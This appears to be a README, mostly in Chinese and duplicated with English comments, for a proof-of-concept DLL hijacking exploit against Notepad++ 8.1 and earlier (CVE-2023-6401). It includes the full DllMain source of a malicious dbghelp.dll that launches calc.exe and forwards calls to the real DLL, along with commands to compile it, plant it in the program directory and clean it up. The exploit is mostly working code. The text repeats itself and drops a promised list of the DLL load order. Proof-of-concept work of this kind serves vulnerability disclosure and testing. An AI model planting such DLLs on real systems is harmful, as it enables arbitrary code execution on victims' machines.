⚠️ 重要声明:仅供安全研究和教育目的使用
NotePad++ ≤ 8.1 DLL劫持漏洞的概念验证。通过在应用程序目录放置恶意 dbghelp.dll 来执行任意代码。
# 下載專案
git clone https://github.com/mekitoci/CVE-2023-6401.git
# 進入專案目錄
cd CVE-2023-6401-main
# 編譯DLL
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 部署到NotePad++目錄
copy dbghelp.dll "C:\Program Files\Notepad++\"
# 執行測試
"C:\Program Files\Notepad++\notepad++.exe"
# 立即清理
del "C:\Program Files\Notepad++\dbghelp.dll"
预期结果: 计算器弹出 + 消息框显示 + NotePad++正常启动

Windows按以下顺序加载DLL:
NotePad++启动时会加载 dbghelp.dll,通过在应用程序目录放置同名恶意DLL,可在系统DLL加载前执行代码。
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Execute malicious code
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// Load real DLL and forward API calls
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 移除惡意DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# 確認移除
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "清理完成"
本项目仅供教育和安全研究使用。使用者需对遵守适用法律法规承担全部责任。
⚠️ 重要声明:仅供安全研究和教育目的使用
NotePad++ ≤ 8.1 DLL劫持漏洞的概念验证。通过在应用程序目录放置恶意 dbghelp.dll 来执行任意代码。
# Clone the project
git clone https://github.com/mekitoci/CVE-2023-6401.git
# Navigate to project directory
cd CVE-2023-6401-main
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Deploy to NotePad++ directory
copy dbghelp.dll "C:\Program Files\Notepad++\"
# Execute test
"C:\Program Files\Notepad++\notepad++.exe"
# Immediate cleanup
del "C:\Program Files\Notepad++\dbghelp.dll"
预期结果: 计算器弹出 + 消息框显示 + NotePad++正常启动

Windows按以下顺序加载DLL:
NotePad++启动时会加载 dbghelp.dll,通过在应用程序目录放置同名恶意DLL,可在系统DLL加载前执行代码。
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Execute malicious code
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// Load real DLL and forward API calls
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Remove malicious DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# Confirm removal
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Cleanup completed"
本项目仅供教育和安全研究使用。使用者需对遵守适用法律法规承担全部责任。
| 项目 | 详情 |
|---|
| CVE编号 | CVE-2023-6401 |
| 影响版本 | NotePad++ ≤ 8.1 |
| 漏洞类型 | DLL劫持 / 搜索路径劫持 |
| 影响 | 执行任意代码 |
| 前提条件 | 应用程序目录写入权限 |
| 项目 | 详情 |
|---|
| CVE编号 | CVE-2023-6401 |
| 影响版本 | NotePad++ ≤ 8.1 |
| 漏洞类型 | DLL劫持 / 搜索顺序劫持 |
| 影响 | 任意代码执行 |
| 前提条件 | 应用程序目录写入权限 |